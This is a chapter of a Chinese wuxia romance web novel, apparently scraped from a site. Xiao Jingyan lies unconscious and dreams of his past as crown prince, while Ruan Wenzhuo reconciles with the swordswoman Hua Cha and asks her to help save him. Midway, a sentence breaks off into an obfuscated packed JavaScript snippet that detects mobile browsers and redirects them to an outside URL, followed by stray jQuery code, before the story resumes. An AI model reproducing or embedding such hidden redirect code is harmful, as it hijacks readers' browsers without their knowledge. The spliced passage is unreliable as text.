41. 梦境

作品:《云中白鹤

    阮如玉闻言,心不由得一颤,“阿兄,你见多识广,到底要怎样做才能救他?”


    “我虽然也在江湖上行走,但对用毒之事了解不多,若是阿姹还在——”


    阮文卓顿住,阮如玉观察他的神色,“阿兄,姹姑娘从北魏回来了吗?你们该不会是吵架了吧?”


    “胡说什么呢,我们怎能可能会吵架。”阮文卓白她一眼,“罢了,你先在这儿照看他,我去找阿姹碰碰运气吧,虽然她未必愿意帮忙。”


    阮如玉没忍住笑,“还说不是吵架了,阿兄,你态度好点,别再把人家惹生气了。”


    阮文卓还没完全从酒劲儿里缓过来,他嘟囔了两句,摇摇晃晃,摔门而去。


    烛光和着风声轻姿曳动,莲花青瓷灯透过稀薄的夜色,向下打出一道慈悲怜伤的默影。


    屋内一时只剩下他们二人,无力的苍凉之感席卷而来,阮如玉坐在萧景衍的身侧,眉眼间尽是忧色,她喃喃自语,“随之,快醒过来吧,你知不知道,你这样,我真的很害怕。”


    萧景衍睡得昏沉,他在梦境中回到了很久很久以前……


    那是他一生中最顺遂的时光。


    彼时,他的母后还活着,他的父皇对他也极好,他是士子们尊崇敬仰的大梁太子,是子民们爱戴拥护的未来储君,他踌躇满志,相信终有一日能实现自己的理想抱负,让天下寒士俱展欢颜,让公允正道还于世间。


    太傅授他以诗书,慷慨论道,激扬文字。


    他的知己挚友裴义伴他习剑,陪他饮酒。


    还有长卿——他的心上人——


    梦里的一切太过美好,如果说现实是一滩烂泥,那么梦境就如青山卧雪,可望而不可即。


    故而明知是梦,他也不愿醒来。


    如果众人都昏昏沉沉,清醒又何尝不是一种罪过。


    他枕着琴声入眠,裴义的恣意大笑回荡在天地之间,他想,这个梦可真好。


    春风拨弄柳叶,夏月照见清荷,秋日捧出金云,冬雪簇着红梅,时岁在他的梦境里晃得飞快,他阖上眼睛,沉沦在梦境的最深处,由着重重叠叠的碎影将他淹没、掩埋。


    如若可以,他想在这个梦里过一辈子……


    风声猎猎,擦过耳畔。


    阮文卓策马狂奔,脑子里回荡的一直都是花姹今日同他说的话。


    “沐玄,我们分开吧。”


    她说罢转身而去,背影俐落飒爽,连一个说“不”的机会都没留给他。


    阮文卓其实很想问“为什么”,可是不问,他也知道隔阂在二人中间的是什么。


    花姹是北魏十步门的剑客,而他则是大梁世家之子,他们之间注定不会有什么好结果。


    如若不能相濡以沫,还不如相忘于江湖。[1]


    所以,他望着花姹决绝而去的身影,含泪应了一个“好”字。


    可是他现在后悔了,他咬牙,坚定的声音回响在风中,“阿姹,我绝不放手——”


    花姹正在客栈整理包袱,她素来省事,又是行走江湖之人,随身之物不过几件换洗衣裳,可她叠叠放放,却是收拾了很久。


    是的,她在等阮文卓。


    刀子嘴豆腐心,花姹话说得虽狠,可她内心其实也是不舍得离开他的,她在客栈等了他一下午,却始终没有等到他。


    花姹将包袱打了一个死结,自嘲般地笑了笑。


    沐玄,原来你并没有那么勇敢,或者说,你并没有我想的那么爱我。


    花姹心中失落,她拿起枕侧长剑,准备离开,却忽然被破窗而入的一人拥在怀里。


    出于一名杀手的本能,花姹在回眸的同时,手中流光剑遽然出鞘,阮文卓抱着她一个旋身,轻而易举地避开了锋利的剑刃,他声音沙哑,轻唤,“阿姹,是我。”


    花姹一怔,“沐玄?”


    她亮晶晶的眸中闪着喜悦的光,却还明知故问,“你怎么来了?我们不是已经分开了吗?”


    阮文卓将她紧紧揽入怀中,又气又急,“谁说我们分开了,我不同意!”


    花姹也不知他哪来的这么大酒气,一面推他,一面说道,“你说了不算,我说了才算。”


    阮文卓不肯撒手,“阿姹,旁的事我都依你,唯独这件事,我要你听我的,算我,求你。”


    花姹第一次听见“求”这个字眼从他口中说出来,她有些不敢相信,“你,说什么?”


    阮文卓低下了头,他将所有的傲气敛在一处,双手捧着奉予她,“阿姹,我说,我求你不要离开我。”


    花姹蓦地红了眼睛,她攥起拳头打在他的身上,哽咽道,“你怎么不早来!你知不知道,你再晚来一步,我就真的走了!你这辈子就再也看不见我了!”


    阮文卓先是一怔,继而又是一喜,他捉住她不安分的小手,与她十指相扣,扬眉笑道,“原来你一直在等我。”


    花姹坦荡承认,“是又如何,我就是想看看你到底有多爱我,还好你没有让我失望。”她仰起脸,“这可是你自己说的,除了这件事,旁的都依我,你可不许反悔呀。”


    阮文卓垂眸一吻,认真地说,“沐玄此生无悔。”


    花姹见惯了他手持寒剑,逞凶斗狠的模样,如今见他如此,倒有些不大习惯,她抬手拍了拍他的背,“行了行了,用不着这么正式,你记住你说的话就行。”


    “阿姹,我知道你为什么要离开我。”


    花姹心头一紧,还以为他知晓了自己北魏皇女的身份,她的手不自觉搭在了流光剑上,却被他一把拉住,放在了他的心口处。


    阮文卓认真地说,“阿姹,你愿不愿意相信,爱可以跨越山海,跨越生死,跨越世间的一切。”


    花姹点点头,“我相信。”


    “那你为什么不愿意相信,爱也可以跨越大梁和北魏呢?”


    花姹沉默了一下,良久方道,“如果可以,我愿意相信。”她抬起手,摩挲着他的脸庞,“沐玄,我只希望,若有一日两军对垒,刺向我的那一剑不是出自你的手中。”


    阮文卓皱眉,“阿姹,你怎么会这么想?我虽为世家之子,但从来不涉朝堂,纵意山野是我一生所求,而你不过是北魏十步门中的一名剑客,且不要说两国关系还没有这么糟糕,即便有一天,大梁和北魏真的打了起来,又同你我有何干系?”


    花姹不愿多说,只是笑笑,“你说得对,这同我们有何


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12689339|131502||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    干系,沐玄,我们做一个约定吧。”


    “什么约定?”


    “无论大魏大梁他日关系如何,无论你我二人彼时身在何方,我们手中的剑,永远都不能指向对方。”花姹抬手,眼神坚毅,“沐玄,这是我能给你的承诺,我们击掌为誓。”


    “好。”阮文卓抬掌相击,补充道,“阿姹,即便有一天,你为了北魏真的要取我性命,我也不会怨你。”


    花姹怔了怔,“怎么,你心甘情愿死在我的手上吗?”


    “那倒还不至于。”阮文卓嗤然一笑,“我们各凭本事,你若真能赢我,我便心甘情愿。”


    “嘶。”花姹有些不屑,“我还以为你爱我爱到愿意把命交给我呢,原来不过如此。”


    “阿姹,如果我真的如你所言,爱你爱得没有原则,你还爱这样的我的吗?”


    “说得有道理。”花姹一扬手,唰的一声,流光剑便收回剑鞘,她仰脸吻住他凉薄的唇,抬手解开他的上衽,阮文卓连忙攥住她的手,“阿姹,你这是?”


    说话间,阮文卓的衣裳滑落,花姹拥住他的裸背,言简意赅地说,“沐玄,我想你了。”


    美人在怀,虽然阮文卓也有点把持不住,但他到底没有忘了正事,他深吸一口气,动手点了自己两处穴道,强迫自己清醒一些。


    见她一脸疑惑,阮文卓解释道,“阿姹,我们日子还长,不差这一时半刻,我今天来,其实还有一件重要的事情请你帮忙。”


    花姹闻言,英眉微敛,她退后半步,抱臂打量着他,“所以,今日你来找我,其实并不是为了我,而是想要找我帮忙?”


    “不是不是,我是想要找你的,只是我吃多了酒,迷迷糊糊地在池子里睡过去了,直到看见如玉他们两个情深意笃的模样,我才意识到我不能失去你。”


    花姹从他的话中听到了一个重要信息,“如玉?她和谁?”


    “和……”阮文卓想了想,还是说,“和裴义。”


    “他们两个怎么了?”


    “裴义现在昏迷不醒,我瞧着似是迷香挑起了他的心魔,再加上旧伤沉重,中毒日深,眼下情况很是危险,我也没有更好的办法,就想着找你撞撞运气。”


    果然是他们两个,花姹暗暗叹了口气,罢了,便是门主之命,她也是要救的。


    思索间,她已经用内力隔空推开了门,阮文卓有些着急,抬步跟在她的身后,“阿姹,你是不是生气了,你听我解释啊,我来找你真的是因为我放不下你,并不是……”


    花姹听得不耐烦,开口打断了他,“沐玄,你有完没完,一个大男人,怎么比我还啰嗦。”


    她扫了一眼他衣衫半褪的模样,嘴角不自觉微微上扬,这个男人,生得可真好看呀……


    阮文卓被她看得不自在,花姹也有些不好意思,她别开脸,“你,你还不快把衣裳穿好,我们赶紧去救人。”


    阮文卓见她应了,心头一喜,连忙正好衣襟,垂首系衣裳带子的时候,他突然反应过来。


    不对啊,我这衣裳不是你扒下来的吗,怎么你还……


    他抬眼间,却见花姹已经落了他一大截,他快步追了上去,“阿姹,等等我!”